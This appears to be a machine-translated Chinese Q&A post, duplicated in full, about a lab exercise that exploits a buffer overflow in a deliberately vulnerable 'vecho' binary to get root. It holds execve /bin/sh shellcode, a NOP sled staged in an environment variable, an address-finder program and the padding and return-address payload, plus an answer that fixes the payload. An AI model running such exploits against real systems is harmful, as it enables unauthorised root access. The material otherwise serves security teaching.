使用 vecho 的缓冲区溢出漏洞利用
buffer overflow exploit using vecho
我正在做一个实验,要求我们使用名为 vecho 的内置易受攻击的命令(功能与 echo 相同)执行缓冲区溢出以获得 root 权限。但是无论我怎么尝试,我都无法让它工作。
.section .text
.globl _start
_start:
xor %eax, %eax // your comments go here
push %eax // and here, and so on...
push [=10=]x68732f2f
push [=10=]x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %ecx
push %ebx
mov %eax, %edx
mov [=10=]xb, %al
int [=10=]x80
我们通过
将其加载到保存为 egg 的环境变量中
export EGG=$(<shellcode.bin)
然后我们制作雪橇
SLED=`python -c "print '\x90' * 100"`
并将雪橇添加到变量
export EGG=$SLED$EGG
然后我们找到当我们 运行 使用这个
vecho 时 EGG 所在的地址
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv){
char *ptr;
if(argc < 3){
printf("Usage:%s<environmentvar><targetprogramname>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
然后我们通过像这样的方式创建一个小端形式的地址变量
ADDRESS=echo -en "\xff\xff\xff\xbf"
还有一个填充变量,它的字符足以将地址推入 eip,然后 运行
vecho $PADDING$ADDRESS
但无论我尝试什么,如果填充太小,我都会成功打印,如果填充太长,就会出现段错误,中间有非法指令。我觉得这个非法指令点很重要,但我无法将其实际 运行 shell 代码。
你快搞定了。该指令是非法的,因为您似乎正在将 echo -en "\xff\xff\xff\xbf" 分配给 ADDRESS。您要做的是:
ADDRESS=`echo -en "\xff\xff\xff\xbf"`
这会将结果分配给 ADDRESS,而不是整个命令。
我正在做一个实验,要求我们使用名为 vecho 的内置易受攻击的命令(功能与 echo 相同)执行缓冲区溢出以获得 root 权限。但是无论我怎么尝试,我都无法让它工作。
.section .text
.globl _start
_start:
xor %eax, %eax // your comments go here
push %eax // and here, and so on...
push [=10=]x68732f2f
push [=10=]x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %ecx
push %ebx
mov %eax, %edx
mov [=10=]xb, %al
int [=10=]x80
我们通过
将其加载到保存为 egg 的环境变量中export EGG=$(<shellcode.bin)
然后我们制作雪橇
SLED=`python -c "print '\x90' * 100"`
并将雪橇添加到变量
export EGG=$SLED$EGG
然后我们找到当我们 运行 使用这个
vecho 时 EGG 所在的地址#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv){
char *ptr;
if(argc < 3){
printf("Usage:%s<environmentvar><targetprogramname>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
然后我们通过像这样的方式创建一个小端形式的地址变量
ADDRESS=echo -en "\xff\xff\xff\xbf"
还有一个填充变量,它的字符足以将地址推入 eip,然后 运行
vecho $PADDING$ADDRESS
但无论我尝试什么,如果填充太小,我都会成功打印,如果填充太长,就会出现段错误,中间有非法指令。我觉得这个非法指令点很重要,但我无法将其实际 运行 shell 代码。
你快搞定了。该指令是非法的,因为您似乎正在将 echo -en "\xff\xff\xff\xbf" 分配给 ADDRESS。您要做的是:
ADDRESS=`echo -en "\xff\xff\xff\xbf"`
这会将结果分配给 ADDRESS,而不是整个命令。